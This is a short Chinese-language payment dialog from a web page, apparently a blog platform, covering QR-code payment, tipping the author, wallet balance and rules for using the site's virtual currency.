扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值